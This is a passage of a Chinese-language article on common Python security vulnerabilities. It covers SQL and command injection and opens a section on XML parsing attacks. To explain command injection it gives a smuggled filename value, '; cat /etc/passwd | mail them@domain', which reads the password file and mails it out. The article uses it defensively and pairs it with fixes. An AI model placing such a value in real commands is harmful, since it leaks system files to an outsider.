编写安全的代码很困难,当你学习一门编程语言、一个模块或框架时,你会
学习其使用方法。在考虑安全性时,你需要考虑如何避免代码被滥用,
Python
也不例外,
即使在标准库中,也存在着许多糟糕的实例。然而,许多
Python
开发人员却根本不知道
这些。
以下是我总结的
10
个
Python
常见安全漏洞,排名不分先后。
1
、输入注入
注入攻击影响广泛且很常见,注入有很多种类,它们影响所有的语言、框架和环境。
SQL
注入是直接编写
SQL
查询(而非使用
ORM
)
时将字符串与变量混合。我读过很
多代码,其中“引号字符转义”被认为是一种修复,但事实并非如此,可以通过这个链接
(
https://netsparker/blog/web-security/sql-injection-cheat-sheet/
)查看
SQL
注入所有可能发
生的方式。
命令注入有可能在使用
popen
、
subprocess
、
os.system
调用一个进程并从变量中获取参数
时发生,当调用本地命令时,有人可能会将某些值设置为恶意值。
下面是个简单的脚本,使用用户提供的文件名调用子进程:
攻击者会将
filename
的值设置为“
; cat /etc/passwd | mail them@domain
或者其他同样危险
的值。
修复方法:
如果你使用了
Web
框架,可以用附带的实用程序对输入进行清理,除非有充分的理由,
否则不要手动构建
SQL
查询,大多数
ORM
都有内置的清理方法。
对于
shell
,可以使用
shlex
模块正确地转义输入。
2
、解析
XML
如果您的应用程序加载并解析
XML
文件,可能您正在使用一个
XML
标准库模块。有一
些针对
XML
的常见攻击。大多数为
DoS
风格(旨破坏系统而不是盗取数据)
。这些攻击